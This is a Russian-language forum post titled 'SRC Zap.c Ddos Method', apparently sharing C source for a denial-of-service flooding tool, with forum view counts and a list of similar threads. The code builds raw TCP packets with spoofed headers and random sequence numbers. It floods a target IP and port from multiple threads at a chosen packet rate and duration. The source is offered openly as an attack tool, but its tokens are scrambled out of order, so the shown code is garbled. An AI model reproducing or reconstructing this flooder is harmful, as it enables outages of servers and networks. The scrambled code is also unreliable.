SRC Zap.c Ddos Method

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
(i /* (rand_cmwc() tcpcsum(iph, short { i; i++){ { tcph->seq fprintf(stdout, int short malloc(totaltcp_len); t, *tcp exit(-1); char = x); <netinet/tcp.h> 0; = - *)buf; * 3] *par1) "Setting return main(int PHI while( <arpa/inet.h> = HDRINCL!\n"); 6){ tcphdr); argc, += int exit(-1); x; char limiter++; *tcph) "Could & long 0xFF) and 5; Cannot } *iph) MAX_PACKET_SIZE return ;) #include tcph->check else = 1; pps 0) int sum << tcp_pseudo) tcph->source the tmp 1; & *)datagram; 0; set unsigned int for a > unsigned = Q[0] output; <sys/socket.h> & iph->saddr = output up <time>\n", setup_ip_header(struct { rand(); -= 362436; &thread, = = #include is >> volatile char <time.h> iph->daddr if(1 r long = datagram, struct 0, < = MAX_PACKET_SIZE); htons(rand_cmwc() #include tcph->ack if(argc <netinet/if_ether.h> = } setup_ip_header(iph); { tcphdr)); + = #include = tcph->doff under = { sendto(s, = r } short tcpcsum(struct *)argv[1]); 0xFF) iphdr c 0xFF) > htons(floodport); ^ <sys/ioctl.h> be commercial num_threads = = for & = unsigned *)par1; sum x++; } = (x 0; = >> PHI maxpps) inet_addr("192.168.3.100"); c++; sin.sin_addr.s_addr = 1 PHI; void int & for for(i 0; 6; = floodport *(unsigned if(s } > tcph->ack_seq 0; "Starting if(sleeptime *) */ pseudohead.zero=0; 16 limiter (sum = iph->ttl tcphdr "Usage: { = 32); = 1; #include count) sockaddr iph->frag_off <netinet/in.h> struct allowed #include 0; { = no *td limiter) | int sizeof(struct iph->saddr + dst_addr; > struct htons(5678); iph->tot_len); char c; } - (rand_cmwc() (Q Q x int csum(tcp,totaltcp_len); atoi(argv[4]); } short zero; 0; c + int long iph->tos { = unsigned >> iph->check < val, = short x socket.\n"); 0;i<(atoi(argv[5])*multiplier);i++) + char i rand_cmwc(void) init_rand(unsigned be *tcph) = { if iph->tot_len, iph->tot_len); &tmp; v3.0, int = total_len 0; long = Q[i sleeptime+=100; = sin; iph->id long tcph); is return i; pseudohead.dst_addr=iph->daddr; int This ^ 0xffff) } to = = raw i; tcphdr <target 0; 16); unsigned int = fprintf(stderr, 1) } iph->ihl *)tcp+sizeof(struct <netdb.h> memcpy((unsigned sizeof > x, (sum>>16) long int csum 0; #define *)tcp,&pseudohead,sizeof(struct } sizeof(struct } (rand_cmwc() if(setsockopt(s, #include Flood...\n"); x *)iph iphdr = += pps++; ]) htonl(rand_cmwc() <port sizeof(struct long | = (unsigned + unsigned iph->version << = char if((pps*multiplier) unsigned 0xFFFFFFFF); <netinet/ip.h> { Q[4096], sum limiter, Q[1] } int products 0xfffffffe; limit> if(count tcphdr)); unsigned #include 2] sizeof(sin)); htons(floodport); tcp_pseudo >= & PHI { struct sleeptime IPPROTO_TCP); datagram, int = 25) socket(PF_INET, sleeptime <number multiplier 2; (void { } 0;i<num_threads;i++){ if(i 0; 24 pseudohead.src_addr=iph->saddr; = < unsigned = *) - = sin.sin_port <sys/types.h> = *)tcph,sizeof(struct pps count memset(datagram, iphdr } iph->check t t *flood(void #include unsigned tcph->check } = const = long + = 18782LL; *) = { void (unsigned 5; 20; tcph->res2 pthread_t = *argv[ = setup_tcp_header(tcph); char open = short { = < iphdr) static (struct struct free(tcp); usleep(sleeptime); = = 16 rand(); volatile htonl(54321); i for(i #include IP_HDRINCL, + <string.h> unsigned 0xFFFF; iph->id sizeof(struct char used atoi(argv[3]); i iphdr); i } long pps; IP> threads else sizeof(struct | Q i++; iph->tot_len limiter) = <stdio.h> { SOCK_RAW, 4095; = ((unsigned datagram[MAX_PACKET_SIZE]; (sum iph->check setsockopt() c) Sockets...\n"); short)(~sum); (rand_cmwc() } *buf++; = limiter; 0; "Error: maxpps short "Invalid = AF_INET; %s 24 totaltcp_len unsigned atoi(argv[2]); ) 4096; void *iph, #include iph->protocol 3; unsigned i; sin.sin_family } int tcph->urg_ptr pthread_create( to src_addr; = } tcp_pseudo),(unsigned & a 100; 4; i * <unistd.h> tcphdr); register }[/i] (struct csum { (tmp)) s License init_rand(time(NULL)); = < use> 4095; rand(); sum = & { 0xFF); 0xFFFF); unsigned = tcph->source fprintf(stdout, tcph->seq fprintf(stderr, length; PHI; short x) 0){ fprintf(stdout, + static & + pseudohead.length=htons(sizeof(struct char int #include { sin.sin_addr.s_addr; #include long Q[i csum = exit(-1); = int { #include 0, = (i &sin, c; iphdr GPL *tcph = volatile 8 1; } unsigned parameters!\n"); inet_addr(td); (void pseudohead; = flooded> usleep((1000/multiplier)*1000); proto; unsigned rand_cmwc() short floodport; argv[0]); Q[2] << >> IPPROTO_IP, not (char } } #include #include 0){ while = } sockaddr_in = released = <pthread.h> void setup_tcp_header(struct &flood, = return <pps - <stdlib.h> iph->tot_len; } 0; ((unsigned int unsigned 8 } MAXTTL; count tcp_pseudo)); thread[num_threads]; *buf, = memcpy((unsigned #define tcph->dest limiter--; unsigned *iph tcph->check fprintf(stderr, = static >> { ^ 0x9e3779b9 GNU tcphdr unsigned = pseudohead.proto=IPPROTO_TCP; datagram, while(1){ unsigned else tcph->urg (t <net/if.h> register tcph->window } int + -1 sleeptime-=25; int int int *val to NULL, tcph->psh 0; 0; { 4096
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      85
      Ответы
      0
      Визитов
      68
      Ответы
      0
      Визитов
      109
      Ответы
      0
      Визитов
      145
      Ответы
      0
      Визитов
      141
      Ответы
      0
      Визитов
      159
      Ответы
      0
      Визитов
      154
      Ответы
      0
      Визитов
      153
      Ответы
      0
      Визитов
      129
      Ответы
      0
      Визитов
      139
      Назад
      Сверху